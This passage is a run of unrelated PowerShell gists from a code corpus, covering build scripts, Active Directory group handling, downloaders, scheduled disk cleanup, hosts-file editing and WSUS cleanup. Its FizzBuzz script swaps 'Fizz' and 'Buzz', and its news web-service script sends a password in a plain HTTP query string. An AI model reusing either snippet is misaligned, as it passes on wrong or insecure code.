Edit-SmaRunbook -Path $path.FullName -WebServiceEndpoint $WebServiceEndpoint -Credential $Credential -Name ($path.BaseName) -Overwrite
}
$publishedId = Publish-SmaRunbook -Id $SmaRb.RunbookID -WebServiceEndpoint $WebServiceEndpoint -Credential $Credential
}
#This is the function you need to run to kick everything off:
Process-RunbookFolder -Path "D:\trond.hindenes\Desktop\wftest" -WebServiceEndpoint "https://MySmaServer" -Credential $cred
|
PowerShellCorpus/GithubGist/kouphax_1150010_raw_8ff742c2b804138c4ae25adfb162cb3f525e4c0d_default.ps1
|
kouphax_1150010_raw_8ff742c2b804138c4ae25adfb162cb3f525e4c0d_default.ps1
|
# -----------------------------------------------------------------------------
# S C R I P T P R O P E R T I E S
# -----------------------------------------------------------------------------
Properties {
$solution = (Get-ChildItem *.sln).Name
$solutionname = $solution.Substring(0, $solution.LastIndexOf('.'))
}
|
PowerShellCorpus/GithubGist/robertream_2862018_raw_19bd4d483caf331ec9684001d2bbfb70db46b8c8_gistfile1.ps1
|
robertream_2862018_raw_19bd4d483caf331ec9684001d2bbfb70db46b8c8_gistfile1.ps1
|
function Select-ZipWith {
param(
[Parameter(Position=0)] $list,
[Parameter(ValueFromPipeline=$true)] $next
)
process
{
if ($list)
{
$first, $list = $list
Write-Output (New-Object PSObject -Property @{ a = $next; b = $first })
}
}
}
|
PowerShellCorpus/GithubGist/ao-zkn_0adfb10e754a20c9d852_raw_4ed87b43d30e0fe7321d7dc9826c2ce119614866_Get-MusicTagData.ps1
|
ao-zkn_0adfb10e754a20c9d852_raw_4ed87b43d30e0fe7321d7dc9826c2ce119614866_Get-MusicTagData.ps1
|
# 任意に解凍したtaglib-sharp.dllを指定する
Remove-Variable -Name TagLibFilePath -Force -ea silentlycontinue
Set-Variable -Name TagLibFilePath -Value "C:\develop\lib\taglib-sharp.dll" -Option ReadOnly -Scope "Global"
# ------------------------------------------------------------------
# 音楽ファイル(m4a,flac,mp3)よりタグ情報を取得する
# 関数名:Get-MusicTagData
# 引数 :MusicFolderPath フォルダパス
# 戻り値:タグ情報
# ------------------------------------------------------------------
function Get-MusicTagData([String]$MusicFolderPath){
# ライブラリ読み込み
$TagLib = [System.Reflection.Assembly]::LoadFile($TagLibFilePath)
$result = @()
# フォルダ配下のm4a,flac,mp3を取得
Get-ChildItem $MusicFolderPath -Recurse -Include *.m4a ,*.flac,*.mp3 |
ForEach-Object {
$audiofile = [TagLib.File]::Create($_.fullname)
# タグ情報をセット
$value = New-Object PSCustomObject -Property @{
#ファイル名
FILENAME = $_.name
#アルバム
Album = $audiofile.Tag.Album
#アルバムアーティスト
AlbumArtists = $audiofile.Tag.AlbumArtists
#年
Year = $audiofile.Tag.Year
#タイトル
Title = $audiofile.Tag.Title
#アーティスト
Artists = $audiofile.Tag.Artists
#作曲者
Composers = $audiofile.Tag.Composers
#ジャンル
Genres = $audiofile.Tag.Genres
#トラック番号
Track = [String]$audiofile.Tag.Track + "/" + [String]$audiofile.Tag.TrackCount
#ディスク番号
Disc = [String]$audiofile.Tag.Disc + "/" + [String]$audiofile.Tag.DiscCount
#コメント
Comment = $audiofile.Tag.Comment
}
$result += $value
}
return $result
}
|
PowerShellCorpus/GithubGist/jtuttas_7ce1e86ade150af78670_raw_acd110fa14fd2ec37701b489f78b65b1327fbcf0_News%20Webservice.ps1
|
jtuttas_7ce1e86ade150af78670_raw_acd110fa14fd2ec37701b489f78b65b1327fbcf0_News%20Webservice.ps1
|
# Login
Invoke-WebRequest "http://192.168.178.29/mmbbsapp/news.php?user=mmbbs&password=mmbbs" -SessionVariable s
# Logout
Invoke-WebRequest "http://192.168.178.29/mmbbsapp/news.php?cmd=logout" -WebSession $s
# Abfrage letzte News
Invoke-WebRequest http://192.168.178.29/mmbbsapp/news.php -WebSession $s
# Abfragen News ab ID
Invoke-WebRequest http://192.168.178.29/mmbbsapp/news.php?id=2 -WebSession $s
# Eintragen einer News
Invoke-WebRequest "http://192.168.178.29/mmbbsapp/news.php?Headline=Überschrift&Text=Dies ist ein Text mit öäü" -WebSession $s
|
PowerShellCorpus/GithubGist/ambar_1633576_raw_c1d13b04fb6bc0dfad4cd1b9649b7c5944d7c4da_convert.ps1
|
ambar_1633576_raw_c1d13b04fb6bc0dfad4cd1b9649b7c5944d7c4da_convert.ps1
|
# mkdir
md output
# get-content , set-content -encoding
# 括号是必须的
ls *.txt | %{ gc $_ | sc -en utf8 ('output/'+$_.name) }
|
PowerShellCorpus/GithubGist/jongalloway_1406652_raw_dcc292c9a2aaca8bf4ffdbf1399628f3d9ac85b2_download-entries.ps1
|
jongalloway_1406652_raw_dcc292c9a2aaca8bf4ffdbf1399628f3d9ac85b2_download-entries.ps1
|
# --- settings ---
$feedUrlBase = "http://go.microsoft.com/fwlink/?LinkID=206669"
# the rest will be params when converting to funclet
$latest = $true
$overwrite = $false
$top = 5000 #use $top = $null to grab all
$destinationDirectory = join-path ([Environment]::GetFolderPath("MyDocuments")) "NuGetLocal"
# --- locals ---
$webClient = New-Object System.Net.WebClient
# --- functions ---
# download entries on a page, recursively called for page continuations
function DownloadEntries {
param ([string]$feedUrl)
$feed = [xml]$webClient.DownloadString($feedUrl)
$entries = $feed.feed.entry
$progress = 0
foreach ($entry in $entries) {
$url = $entry.content.src
$fileName = $entry.properties.id + "." + $entry.properties.version + ".nupkg"
$saveFileName = join-path $destinationDirectory $fileName
$pagepercent = ((++$progress)/$entries.Length*100)
if ((-not $overwrite) -and (Test-Path -path $saveFileName))
{
write-progress -activity "$fileName already downloaded" -status "$pagepercent% of current page complete" -percentcomplete $pagepercent
continue
}
write-progress -activity "Downloading $fileName" -status "$pagepercent% of current page complete" -percentcomplete $pagepercent
trap [System.Net.WebException] {
write-error $("TRAPPED: " + $_.Exception.Message);
continue;
}
$webClient.DownloadFile($url, $saveFileName)
}
$link = $feed.feed.link | where { $_.rel.startsWith("next") } | select href
if ($link -ne $null) {
# if using a paged url with a $skiptoken like
# http:// ... /Packages?$skiptoken='EnyimMemcached-log4net','2.7'
# remember that you need to escape the $ in powershell with `
return $link.href
}
return $null
}
# the NuGet feed uses a fwlink which redirects
# using this to follow the redirect
function GetPackageUrl {
param ([string]$feedUrlBase)
$resp = [xml]$webClient.DownloadString($feedUrlBase)
return $resp.service.GetAttribute("xml:base")
}
# --- do the actual work ---
# if dest dir doesn't exist, create it
if (!(Test-Path -path $destinationDirectory)) { New-Item $destinationDirectory -type directory }
# set up feed URL
$serviceBase = GetPackageUrl($feedUrlBase)
$feedUrl = $serviceBase + "Packages"
if($latest) {
$feedUrl = $feedUrl + "?`$filter=IsLatestVersion eq true"
if($top -ne $null) {
$feedUrl = $feedUrl + "&`$orderby=DownloadCount desc&`$top=$top"
}
}
while($feedUrl -ne $null) {
$feedUrl = DownloadEntries $feedUrl
}
|
PowerShellCorpus/GithubGist/jokcofbut_5019820_raw_d5aa08c8612d955a96f85572d17ff19d703b446b_ForceUpdateToSpecificPreReleaseVersionOfAPackage_Solution.ps1
|
jokcofbut_5019820_raw_d5aa08c8612d955a96f85572d17ff19d703b446b_ForceUpdateToSpecificPreReleaseVersionOfAPackage_Solution.ps1
|
#Requires https://github.com/jokcofbut/NuGetHelpers
Force-Update-Package -Id MyPackage -Version 1.0.12275.5-VersionName -source "MyRepo" -IncludePreRelease
|
PowerShellCorpus/GithubGist/selfcommit_9141777_raw_9bc470bfdc9c52e866abd46cb6785d7b4bbd6ab7_FizzBuzz.ps1
|
selfcommit_9141777_raw_9bc470bfdc9c52e866abd46cb6785d7b4bbd6ab7_FizzBuzz.ps1
|
1 .. 100 | foreach{
if ($_ % 15 -eq 0) {
Write-Host "FizzBuzz"
}
elseif ($_ % 5 -eq 0 ) {
Write-Host "Fizz"
}
elseif ($_ % 3 -eq 0 ) {
Write-Host "Buzz"
}
else {
Write-Host $_
}
}
|
PowerShellCorpus/GithubGist/adminian_ae7a06f5e84c79949405_raw_19c30e15a3014c6c91950d3fe63824470e7df11f_Get-AzureUpdates.ps1
|
adminian_ae7a06f5e84c79949405_raw_19c30e15a3014c6c91950d3fe63824470e7df11f_Get-AzureUpdates.ps1
|
<#
Author: Ian Philpot
Date: 2/18/2015
Description:
Email post to yammer that contains the latest updates from Azure.
#>
workflow Get-AzureUpdates {
$cred = Get-AutomationPSCredential -Name "<Cred Asset Name>"
inlineScript {
# Url for the Azure Update Feed
$url = "http://azure.microsoft.com/en-us/updates/feed/"
# Initialize empty list
$posts = @()
# Setup mail message
$group = "<GroupName>+<NetworkName>@yammer.com" # Remove spaces from yammer group name
$from = "<yammer email address>"
$smtp = "<SMTP server>"
$cred = $using:cred
# Get xml feed data, check if newer than one day, add to empty list
Invoke-RestMethod $url |
% { if ((Get-Date).AddDays(-1).ToUniversalTime() -lt (get-date $_.pubDate)) {
$posts+=$_
}
}
# Post the last days updates to yammer
if ($posts.Count -gt 0) {
$sb = New-Object -TypeName "System.Text.StringBuilder"
$title = ""
switch ($posts.Count) {
{$_ -eq 1} { $title = "There is {0} new update to Azure" -f ($posts | measure).Count }
{$_ -gt 1} { $title = "There are {0} new updates to Azure" -f ($posts | measure).Count }
}
$posts | % { [void]$sb.AppendLine("{0}" -f $_.title) }
[void]$sb.AppendLine(" ")
[void]$sb.AppendLine($url.Replace('/feed/', ""))
[void]$sb.AppendLine(" ")
[void]$sb.AppendLine("Posted from Azure Automation")
Send-MailMessage `
-To $group `
-From $from `
-Subject $title `
-Body $sb.ToString() `
-SmtpServer $smtp `
-Credential $cred `
-UseSsl
}
}
}
|
PowerShellCorpus/GithubGist/mwrock_5fab34c8d1a70745e46b_raw_53709064abb3036cc84bd438be8c3dc413586e88_remove.ps1
|
mwrock_5fab34c8d1a70745e46b_raw_53709064abb3036cc84bd438be8c3dc413586e88_remove.ps1
|
$winLogonKey="HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"
@("DefaultUserName","DefaultDomainName","DefaultPassword","AutoAdminLogon") | % {
Remove-ItemProperty -Path $winLogonKey -Name $_ -ErrorAction SilentlyContinue
}
|
PowerShellCorpus/GithubGist/tcshao_3790764_raw_6e76b2455428c40a74c474cfaef852fcaa138aad_replaceNumbers.ps1
|
tcshao_3790764_raw_6e76b2455428c40a74c474cfaef852fcaa138aad_replaceNumbers.ps1
|
<# Loop through IRC log File #>
$quotes = @()
$dest = 'out.txt'
Get-Content in.txt | % {
$line = $_ -replace '.*?[0-9]:',''
$line = $line -replace '"',''
$quotes += $line
}
$quotes | Set-Content $dest
|
PowerShellCorpus/GithubGist/skalinets_5775878_raw_2e592e4cf1d82c7a81bf0544872aa56fdf46c67d_default.ps1
|
skalinets_5775878_raw_2e592e4cf1d82c7a81bf0544872aa56fdf46c67d_default.ps1
|
Framework "4.0"
# Framework "4.0x64"
properties {
$solutionDir = "..\src"
$buildConfiguration = 'RELEASE'
$packages = join-path $solutionDir "packages"
}
task default -depends run-unit-tests
function Get-Solutions (){
ls (join-path $solutionDir "*.sln") | %{ $_.FullName}
}
function Run-MsBuild ($a) {
Get-Solutions | %{ exec { msbuild $_ /NoLogo /m /p:Configuration=$buildConfiguration /v:m $a}}
}
function Restore-SolutionNugets() {
if (!(test-path $packages)) { mkdir $packages }
pushd $packages
exec {..\.nuget\nuget install ..\.nuget\packages.config}
popd
}
task clean {
Run-MsBuild '/t:Clean'
}
task compile -depends clean {
Restore-SolutionNugets
Run-MsBuild '/t:Build'
}
function testDlls($pattern) {
return ls "$SolutionDir\*\bin\$buildConfiguration" -rec `
| where { $_.Name.EndsWith(".dll") } `
| where { $_.Name.Contains("Tests") } `
| where { (Test-Path ((split-path $_.FullName) + $pattern)) -eq $True } `
| % { $_.FullName }
}
task run-unit-tests -depends compile -description "xUnit unit tests" {
$xunitDlls = testDlls "\xunit.dll"
$xunit = @(ls $solutionDir -Include "xunit.console.clr4.exe" -Recurse)[0].FullName
exec{ & $xunit $xunitDlls /noshadow }
}
|
PowerShellCorpus/GithubGist/westerdaled_9e62abacec01365e9323_raw_8b3024494352a577e06ba1fc3ab2660189b353f0_Allow-SPToUseLocalWebServices.ps1
|
westerdaled_9e62abacec01365e9323_raw_8b3024494352a577e06ba1fc3ab2660189b353f0_Allow-SPToUseLocalWebServices.ps1
|
#
# SharePoint must be configured to allow Remote Endpoint intranet calls to local web services by using the following Windows PowerShell commands.
#
Add-PSSnapin Microsoft.sharepoint.powershell
$f = Get-SPFarm
$f.Properties.DisableIntranetCalls = $false
$f.Properties.DisableIntranetCallsFromApps = $false
$f.Update()
|
PowerShellCorpus/GithubGist/ghotz_98003e2e650f878abcc4_raw_f4517c0c5b9fb4cd75afe253d88b8d94ddd18083_Save-MHTML.ps1
|
ghotz_98003e2e650f878abcc4_raw_f4517c0c5b9fb4cd75afe253d88b8d94ddd18083_Save-MHTML.ps1
|
#
# Save to MHTML file
# Adapted from http://stackoverflow.com/questions/995339/saving-webpage-as-mhtm-file
#
# COM SaveOptionsEnum
# Const adSaveCreateNotExist = 1
# Const adSaveCreateOverWrite = 2
#
# COM StreamTypeEnum
# Const adTypeBinary = 1
# Const adTypeText = 2
$SourceURL = "http://www.ghotz.com";
$DestinationFile = "D:\Temp\test.mhtml";
$CDOMessage = New-Object -ComObject CDO.Message;
$ADODBStream = New-Object -ComObject ADODB.Stream;
$ADODBStream.Type = 2;
$ADODBStream.Charset = "US-ASCII";
$ADODBStream.Open();
$CDOMessage.CreateMHTMLBody($SourceURL, 0);
$CDOMessage.DataSource.SaveToObject($ADODBStream, "_Stream");
$ADODBStream.SaveToFile($DestinationFile, 2);
[System.Runtime.Interopservices.Marshal]::ReleaseComObject($CDOMessage);
[System.Runtime.Interopservices.Marshal]::ReleaseComObject($ADODBStream);
|
PowerShellCorpus/GithubGist/ranniery_fc2f86d999d1fe1b2cfc_raw_119cc652a540defa3db2a4a94264165525212444_Get-Uptime.ps1
|
ranniery_fc2f86d999d1fe1b2cfc_raw_119cc652a540defa3db2a4a94264165525212444_Get-Uptime.ps1
|
###########################
# Ranniery Holanda #
# email@ranniery.com.br #
# @_ranniery #
# 06/08/2014 #
###########################
# Get-Uptime.ps1 #
###########################
function Get-Uptime
{
param(
[String[]]
$ComputerName
)
process {
if($ComputerName)
{
$OperatingSystem = Get-WmiObject Win32_OperatingSystem -ComputerName $ComputerName
}
else
{
$OperatingSystem = Get-WmiObject Win32_OperatingSystem
}
$LastReboot = $OperatingSystem.ConvertToDateTime($OperatingSystem.LastBootupTime)
$UpTime = (get-date).subtract($OperatingSystem.ConvertToDateTime($OperatingSystem.LastBootUpTime))
"" -f ""
"Last reboot: {0}" -f $LastReboot
"Uptime: {0}d {1}h {2}m {3}s" -f $UpTime.days,$UpTime.hours,$UpTime.minutes,$UpTime.seconds
"" -f ""
}
}
|
PowerShellCorpus/GithubGist/skarllot_2023985848b897b8aaf3_raw_87d8668f505dfac125e459826425ee384ea7cc89_intersection-group.ps1
|
skarllot_2023985848b897b8aaf3_raw_87d8668f505dfac125e459826425ee384ea7cc89_intersection-group.ps1
|
Import-Module ActiveDirectory
Function Refresh_Group ($groupname, $newmembers)
{
$oldmembers = Get-ADGroupMember -Identity $groupname
$rmmembers = $null
$addmembers = $null
if ($oldmembers -eq $null -and $newmembers -eq $null) {
return
}
if ($oldmembers -ne $null -and $newmembers -ne $null) {
$comparemembers = Compare-Object $oldmembers $newmembers
$rmmembers = ($comparemembers | Where-Object { $_.SideIndicator -eq '<=' }).InputObject
$addmembers = ($comparemembers | Where-Object { $_.SideIndicator -eq '=>' }).InputObject
}
elseif ($oldmembers -eq $null) {
$addmembers = $newmembers
}
else {
$rmmembers = $oldmembers
}
if ($addmembers -ne $null) {
$addmembers | ForEach-Object { Add-ADGroupMember -Identity $groupname -Members $_ }
}
if ($rmmembers -ne $null) {
$rmmembers | ForEach-Object { Remove-ADGroupMember -Identity $groupname -Members $_ -Confirm:$false }
}
}
Function Clean_Duplicates_1 ($main, $other1)
{
$mainmembers = Get-ADGroupMember -Identity $main
if ($mainmembers -eq $null) {
return
}
foreach ($item in $mainmembers) {
Try { Remove-ADGroupMember -Identity $other1 -Members $item -Confirm:$false } Catch {}
}
}
Function Clean_Duplicates_2 ($main, $other1, $other2)
{
$mainmembers = Get-ADGroupMember -Identity $main
if ($mainmembers -eq $null) {
return
}
foreach ($item in $mainmembers) {
Try { Remove-ADGroupMember -Identity $other1 -Members $item -Confirm:$false } Catch {}
Try { Remove-ADGroupMember -Identity $other2 -Members $item -Confirm:$false } Catch {}
}
}
Function Clean_Duplicates_3 ($main, $other1, $other2, $other3)
{
$mainmembers = Get-ADGroupMember -Identity $main
if ($mainmembers -eq $null) {
return
}
foreach ($item in $mainmembers) {
Try { Remove-ADGroupMember -Identity $other1 -Members $item -Confirm:$false } Catch {}
Try { Remove-ADGroupMember -Identity $other2 -Members $item -Confirm:$false } Catch {}
Try { Remove-ADGroupMember -Identity $other3 -Members $item -Confirm:$false } Catch {}
}
}
Function Clean_Duplicates_4 ($main, $other1, $other2, $other3, $other4)
{
$mainmembers = Get-ADGroupMember -Identity $main
if ($mainmembers -eq $null) {
return
}
foreach ($item in $mainmembers) {
Try { Remove-ADGroupMember -Identity $other1 -Members $item -Confirm:$false } Catch {}
Try { Remove-ADGroupMember -Identity $other2 -Members $item -Confirm:$false } Catch {}
Try { Remove-ADGroupMember -Identity $other3 -Members $item -Confirm:$false } Catch {}
Try { Remove-ADGroupMember -Identity $other4 -Members $item -Confirm:$false } Catch {}
}
}
Function Groups_Intersection_1 ($name1)
{
return Get-ADGroupMember $name1
}
Function Groups_Intersection_2 ($name1, $name2)
{
return (Compare-Object $(Get-ADGroupMember $name1) $(Get-ADGroupMember $name2) -ExcludeDifferent -IncludeEqual).InputObject
}
Function Groups_Intersection_3 ($name1, $name2, $name3)
{
$ret = (Compare-Object $(Get-ADGroupMember $name1) $(Get-ADGroupMember $name2) -ExcludeDifferent -IncludeEqual).InputObject
return (Compare-Object $ret $(Get-ADGroupMember $name3) -ExcludeDifferent -IncludeEqual).InputObject
}
Function Groups_Intersection_4 ($name1, $name2, $name3, $name4)
{
$ret1 = (Compare-Object $(Get-ADGroupMember $name1) $(Get-ADGroupMember $name2) -ExcludeDifferent -IncludeEqual).InputObject
$ret2 = (Compare-Object $(Get-ADGroupMember $name3) $(Get-ADGroupMember $name4) -ExcludeDifferent -IncludeEqual).InputObject
return (Compare-Object $ret1 $ret2 -ExcludeDifferent -IncludeEqual).InputObject
}
Function Groups_Intersection_5 ($name1, $name2, $name3, $name4, $name5)
{
$ret1 = (Compare-Object $(Get-ADGroupMember $name1) $(Get-ADGroupMember $name2) -ExcludeDifferent -IncludeEqual).InputObject
$ret2 = (Compare-Object $(Get-ADGroupMember $name3) $(Get-ADGroupMember $name4) -ExcludeDifferent -IncludeEqual).InputObject
$ret3 = (Compare-Object $ret1 $ret2 -ExcludeDifferent -IncludeEqual).InputObject
return (Compare-Object $ret3 $(Get-ADGroupMember $name5) -ExcludeDifferent -IncludeEqual).InputObject
}
Function Groups_Intersection_6 ($name1, $name2, $name3, $name4, $name5, $name6)
{
$ret1 = (Compare-Object $(Get-ADGroupMember $name1) $(Get-ADGroupMember $name2) -ExcludeDifferent -IncludeEqual).InputObject
$ret2 = (Compare-Object $(Get-ADGroupMember $name3) $(Get-ADGroupMember $name4) -ExcludeDifferent -IncludeEqual).InputObject
$ret3 = (Compare-Object $(Get-ADGroupMember $name5) $(Get-ADGroupMember $name6) -ExcludeDifferent -IncludeEqual).InputObject
$ret4 = (Compare-Object $ret1 $ret2 -ExcludeDifferent -IncludeEqual).InputObject
return (Compare-Object $ret4 $ret3 -ExcludeDifferent -IncludeEqual).InputObject
}
|
PowerShellCorpus/GithubGist/pohatu_3adabfe7239f5a04fc70_raw_caabed739c3fc80430e4db102ed15c6f017d7ee3_AddDiskCleanupScheduledTask.ps1
|
pohatu_3adabfe7239f5a04fc70_raw_caabed739c3fc80430e4db102ed15c6f017d7ee3_AddDiskCleanupScheduledTask.ps1
|
# Automatically Run Disk Clean-Up Utility With Preferred Settings
# Windows 8.1/2012 R2; Powershell 4.0
# First, launch CleanMgr.EXE with /sageset: n - where n is some number (defaults to 5000)
# You will need to set the settings as you desire in the UI that appears
# When you save, it will save the settings in a regkey
# for more information, see http://support.microsoft.com/kb/315246
#
# The n value, which is stored in the registry, allows you to specify tasks for Disk Cleanup to run.
# The n value can be any integer value from 0 to 65535.
# 5000 is default because your temp files will go Audi-5000 :-)
$n=5000
# To have all of the options available when you use the /sageset option,
# you might need to specify the drive where Windows is installed.
& CleanMgr.EXE /sageset:$n /d ($env:SystemDrive)
# Now we'll create and install a scheduled task to make it run with your saved settings once a week.
# You can find your Scheduled Task in TaskSchedule UI under the name <yourusername>_Run_DiskCleanupTool
# See Also: http://technet.microsoft.com/en-us/library/jj649816.aspx
#
$sta = New-ScheduledTaskAction -Execute 'cleanmgr.exe' -Argument "/sagerun:$n" -WorkingDirectory ($env:SystemDrive)
$stt = New-ScheduledTaskTrigger -Weekly -WeeksInterval 1 -DaysOfWeek Sunday -At 3am
$st = New-ScheduledTask -Action $sta -Trigger $stt -Description "Run Disk Cleanup Tool"
Register-ScheduledTask -InputObject $st -TaskName "$($env:USERNAME)_Run_DiskCleanupTool"
|
PowerShellCorpus/GithubGist/so0k_981318eb3f693739484a_raw_79de93b47c4e9b9c7d47e10490444d5c83f73e3c_Add-Hosts.ps1
|
so0k_981318eb3f693739484a_raw_79de93b47c4e9b9c7d47e10490444d5c83f73e3c_Add-Hosts.ps1
|
Param(
[Parameter(Mandatory=$true)]
[string]$hostName,
[Parameter(Mandatory=$true)]
[string]$hostIp
)
function IsAdministrator
{
$Identity = [System.Security.Principal.WindowsIdentity]::GetCurrent()
$Principal = New-Object System.Security.Principal.WindowsPrincipal($Identity)
$Principal.IsInRole([System.Security.Principal.WindowsBuiltInRole]::Administrator)
}
# Check to see if we are currently running "as Administrator"
if (!(IsAdministrator))
{
# We are not running "as Administrator" - so relaunch as administrator
[string[]]$argList = @('-NoProfile', '-File', $MyInvocation.MyCommand.Path)
$argList += $MyInvocation.BoundParameters.GetEnumerator() | Foreach {"-$($_.Key)", "$($_.Value)"}
$argList += $MyInvocation.UnboundArguments
Start-Process PowerShell.exe -Verb Runas -WorkingDirectory $pwd -ArgumentList $argList
return
}
write "adding to hosts file.."
$hostsfile = "$env:windir\System32\drivers\etc\hosts"
ac $hostsfile "$hostIp $hostName"
write "done"
|
PowerShellCorpus/GithubGist/zachbonham_4568276_raw_c6eec07d0645557d5a3eb32be4d9f5b287337774_box.ps1
|
zachbonham_4568276_raw_c6eec07d0645557d5a3eb32be4d9f5b287337774_box.ps1
|
set-psdebug -strict
# bleh
#
$global:boxes = @{}
<#
Here we are defining an internal PowerShell DSL for creating 'boxes'.
#>
function box()
{
param([string]$name, [scriptblock]$block)
BEGIN
{
$script:basebox = $null
$script:cpu = 1
$script:memory = "1GB"
$script:windowsRoles = $null
}
PROCESS
{
write-host "PROCESS"
function basebox($basebox)
{
$script:basebox = $basebox
}
function cpu($cpu)
{
$script:cpu = $cpu
}
function memory([string]$memory)
{
$script:memory = $memory
}
function windowsRoles($windowsRoles)
{
$script:windowsRoles = $windowsRoles
}
}
END
{
write-host "END"
# this will actually execute all the variable assignment
# in the brackets (scriptblock) below.
#
# box "mybox" {
# cpu 4
# memory 2GB
#}
invoke-command $block
$box = new-object object
<#
are we defining a new box based on an existing box?
#>
if ( $script:basebox -ne $null )
{
$box = $global:boxes[$script:basebox]
}
else
{
add-member -inputobject $box -memberType NoteProperty -force -name "name" -value $name
add-member -inputobject $box -memberType NoteProperty -force -name "cpu" -value $script:cpu
add-member -inputobject $box -memberType NoteProperty -force -name "memory" -value $script:memory
add-member -inputobject $box -memberType NoteProperty -force -name "windowsRoles" -value $script:windowsRoles
}
write-debug "adding box $($box.name)"
$global:boxes[$box.name] = $box
$box
}
}
# create a box from an existing template
#
function new-box($name, $from)
{
write-debug "new-box ($name, $from)"
box $name {
basebox $from
}
}
<#
this would actually be defined in something like
wserver2012small.box
wserver2012standard.box
and kept in source control.
Very simple definitions here - there would probably be many more attributes to configure.
The 'box' PowerShell API would allow us to do something like:
#>
box "Windows Server 2012 Small" {
cpu 2
memory 1GB
windowsRoles "ServerCore", "AppServer", "WebServer"
} | out-null
box "Windows Server 2012 Standard" {
cpu 4
memory 4GB
windowsRoles "ServerCore", "AppServer", "WebServer"
} | out-null
<#
load the box API into our current session
we can also update our PSProfile to include this on each load
#>
. .\box
# now create a list of servers based upon a template
#
$servers = "Web01", "Web02", "Web03"
$servers | % { new-box $_ -from "Windows Server 2012 Standard" }
# Maybe.. :)
#
|
PowerShellCorpus/GithubGist/shanselman_32a469642ac12d078cb7_raw_a4a2bf38b00b8e6c6c584d2407c3dbc7ae873b66_DownloadAzureFriday.ps1
|
shanselman_32a469642ac12d078cb7_raw_a4a2bf38b00b8e6c6c584d2407c3dbc7ae873b66_DownloadAzureFriday.ps1
|
mkdir "~\Desktop\AzureFriday"
cd "~\Desktop\AzureFriday"
[Environment]::CurrentDirectory=(Get-Location -PSProvider FileSystem).ProviderPath
$a = ([xml](new-object net.webclient).downloadstring("http://channel9.msdn.com/Shows/Azure-Friday/feed/mp4high"))
$a.rss.channel.item | foreach{
$url = New-Object System.Uri($_.enclosure.url)
$file = $url.Segments[-1]
"Downloading: " + $file
if (!(test-path $file))
{
(New-Object System.Net.WebClient).DownloadFile($url, $file)
}
}
|
PowerShellCorpus/GithubGist/mjul_5212271_raw_3580a5561937f96278e1f96a1075ce86173feb42_convert-visio-drawings-to-pdf.ps1
|
mjul_5212271_raw_3580a5561937f96278e1f96a1075ce86173feb42_convert-visio-drawings-to-pdf.ps1
|
# Convert Visio (2013) documents to PDF
$drawings = Get-ChildItem -Filter "*.vsdx"
Write-Host "Converting Visio documents to PDF..." -ForegroundColor Cyan
try
{
$visio = New-Object -ComObject Visio.Application
$visio.Visible = $true
foreach ($drawing in $drawings)
{
$pdfname = [IO.Path]::ChangeExtension($drawing.FullName, '.pdf')
Write-Host "Converting:" $drawing.FullName "to" $pdfname
$document = $visio.Documents.Open($drawing.FullName)
# Export all pages to PDF, see constants here http://msdn.microsoft.com/en-us/library/office/ff766893.aspx
$document.ExportAsFixedFormat(1, $pdfname, 1, 0)
}
}
catch
{
Write-Error $_
}
finally
{
if ($visio)
{
$visio.Quit()
}
}
|
PowerShellCorpus/GithubGist/sheeeng_6931416_raw_bc4cc0f88717d3cb3adb47bcbd8b44f8395e95f4_UpdateJom.ps1
|
sheeeng_6931416_raw_bc4cc0f88717d3cb3adb47bcbd8b44f8395e95f4_UpdateJom.ps1
|
########################################################################
# File : UpdateJom.ps1
# Version : 1.0.1
# Purpose : Downloads and updates jom tool.
# Synopsis: http://qt-project.org/wiki/jom
# Usage : .\UpdateJom.ps1
# Author: Leonard Lee <sheeeng@gmail.com>
########################################################################
# References:
# Manage BITS (Background Intelligent Transfer Service) with Windows PowerShell
# http://technet.microsoft.com/en-us/magazine/ff382721.aspx
# Using Windows PowerShell to Create BITS Transfer Jobs
# http://msdn.microsoft.com/en-us/library/windows/desktop/ee663885(v=vs.85).aspx
# Copying Folders by Using the Shell Folder Object
# http://technet.microsoft.com/en-us/library/ee176633.aspx
########################################################################
Import-Module BitsTransfer
$DebugPreference = "SilentlyContinue" #Continue
Write-Debug $DebugPreference
#(Get-Location).tostring() or [string](Get-Location)
#Write-Host "`$HOME.GetType():" $HOME.GetType()
Set-Location $HOME
$currentDirectory = $HOME
$zipFile = "jom.zip"
$sourceZipFile = $currentDirectory + "\" + $zipFile
#Write-Host "`$sourceZipFile:" $sourceZipFile
#Write-Host "`$targetDirectory:" $targetDirectory
$targetDirectory = $HOME.ToString() + "\" + "jom"
if (Test-Path -path $targetDirectory) {
Write-Host "The" $targetDirectory "directory exist."
}
else {
Write-Host "Creating" $targetDirectory "directory since it does not exist."
New-Item -ItemType directory -Path $targetDirectory
}
Start-BitsTransfer -Source "http://download.qt-project.org/official_releases/jom/jom.zip"
function Expand-ZIPFile($file, $destination)
{
#Write-Host "`$file:" $file
#Write-Host "`$destination:" $destination
$shell = New-Object -ComObject Shell.Application
$zip = $shell.NameSpace($file)
foreach($item in $zip.items())
{
$shell.Namespace($destination).CopyHere($item, 0x14)
}
}
$processName = "jom"
if (Get-Process $processName -ErrorAction SilentlyContinue) {
#Write-Host "The" $processName "process exist. Trying to stop..."
Stop-Process -processname $processName
}
else {
#Write-Host "The" $processName "process does not exist."
}
Expand-ZIPFile –File $sourceZipFile $targetDirectory
Write-Host "Update completed."
#Invoke-Item $targetDirectory
|
PowerShellCorpus/GithubGist/vjt_5770034_raw_2c1204942623949f4bf8ccf93c61eefd785922e5_wsus-cleanup.ps1
|
vjt_5770034_raw_2c1204942623949f4bf8ccf93c61eefd785922e5_wsus-cleanup.ps1
|
# Performs a cleanup of WSUS and writes to a custom "WSUS Cleanup" log
# You must create the Event Log using
#
# New-EventLog -LogName "WSUS Cleanup" -Source "Script"
#
# the first time you run this script.
# PowerShell 2.0 required.
#
# - vjt@openssl.it (feeling dirty)
#
Function log($message) {
$message = $message | Out-String
Write-EventLog -LogName "WSUS Cleanup" -Message $message -Source "Script" -EntryType Information -EventId 0
}
log "WSUS Cleanup Started"
[reflection.assembly]::LoadWithPartialName("Microsoft.UpdateServices.Administration") | Out-Null
$scope = new-object Microsoft.UpdateServices.Administration.CleanupScope;
$scope.DeclineSupersededUpdates = $true;
$scope.DeclineExpiredUpdates = $true;
$scope.CleanupObsoleteUpdates = $true;
$scope.CompressUpdates = $true;
$scope.CleanupObsoleteComputers = $true;
$scope.CleanupUnneededContentFiles = $true;
$wsus = [Microsoft.UpdateServices.Administration.AdminProxy]::GetUpdateServer();
